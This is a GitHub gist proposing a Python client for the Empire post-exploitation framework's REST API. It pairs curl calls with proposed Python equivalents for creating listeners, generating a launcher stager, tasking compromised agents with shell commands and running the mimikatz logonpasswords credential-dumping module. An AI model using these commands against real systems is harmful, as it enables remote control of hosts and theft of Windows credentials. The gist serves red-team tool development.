Last active
May 17, 2017 00:28
-
-
Save jeffmcjunkin/8c65d438ae3aee8cf10b0e380776cd71 to your computer and use it in GitHub Desktop.
Empire REST API Python client proposal
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# start empire headless with the specified API username and password | |
./empire --headless --username empireadmin --password 'Password123!' | |
# login and the current server token | |
curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/admin/login -X POST -d '{"username":"empireadmin", "password":"Password123!"}' | |
empire.login | |
# store the token in a variable | |
TOKEN=<API_token> | |
# see listener options | |
curl --insecure -i https://localhost:1337/api/listeners/options?token=$TOKEN | |
empire.listeners.options | |
# create a listener | |
curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/listeners?token=$TOKEN -X POST -d '{"Name":"testing"}' | |
empire.listeners.new("testing") | |
# verify listener was created | |
curl --insecure -i https://localhost:1337/api/listeners?token=$TOKEN | |
empire.listeners("testing") | |
# get the stager for this listener | |
curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/stagers?token=$TOKEN -X POST -d '{"StagerName":"launcher", "Listener":"testing"}' | |
empire.stagers.create(listener="testing",StagerName="launcher") | |
# execute stager on a Windows client | |
# see registered agents | |
curl --insecure -i https://localhost:1337/api/agents?token=$TOKEN | |
empire.agents | |
# grab the agent name and store it in a variable | |
AGENT=<sessionID> | |
# task the agent to run a shell command | |
curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/$AGENT/shell?token=$TOKEN -X POST -d '{"command":"whoami"}' | |
empire.agents(agent_name="agentname").shell("whoami") | |
# task all agents to run a shell command | |
curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/all/shell?token=$TOKEN -X POST -d '{"command":"pwd"}' | |
empire.agents.shell("pwd") | |
# task the agent to run a module | |
curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/modules/credentials/mimikatz/logonpasswords?token=$TOKEN -X POST -d "{\"Agent\":\"$AGENT\"}" | |
empire.modules("credentials/mimikatz/logonpasswords").run(agent_name="agentname") | |
# clear all agent taskings | |
# curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/all/clear?token=$TOKEN | |
empire.agents.clear_tasks | |
# get agent results | |
curl --insecure -i https://localhost:1337/api/agents/$AGENT/results?token=$TOKEN | |
empire.agents(agent_name="agentname").results | |
# get all agent results | |
curl --insecure -i https://localhost:1337/api/agents/all/results?token=$TOKEN | |
empire.agents.results | |
# clear all agent result buffers | |
curl --insecure -i https://localhost:1337/api/agents/all/results?token=$TOKEN -X DELETE | |
empire.agents.results.clear | |
# see stored credentials | |
curl --insecure -i https://localhost:1337/api/creds?token=$TOKEN | |
empire.creds | |
# rename the agent | |
curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/$AGENT/rename?token=$TOKEN -X POST -d '{"newname":"newagent"}' | |
empire.agents(agent_name="agentname").rename(agent_name="newagent") | |
# kill the agent | |
curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/newagent/kill?token=$TOKEN -X POST | |
empire.agents(agent_name="agentname").kill | |
# confirm kill | |
curl --insecure -i https://localhost:1337/api/agents?token=$TOKEN | |
# get any stale agents | |
curl --insecure -i https://localhost:1337/api/agents/stale?token=$TOKEN | |
empire.stale_agents | |
# remove stale agents | |
curl --insecure -i https://localhost:1337/api/agents/stale?token=$TOKEN -X DELETE | |
empire.stale_agents.kill | |
# restart the server | |
curl --insecure -i https://localhost:1337/api/admin/restart?token=$TOKEN | |
empire.restart | |
# kill all listeners | |
curl --insecure -i https://localhost:1337/api/listeners/all?token=$TOKEN -X DELETE | |
empire.listeners.kill | |
# shut down the server | |
curl --insecure -i https://localhost:1337/api/admin/shutdown?token=$TOKEN | |
empire.shutdown |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment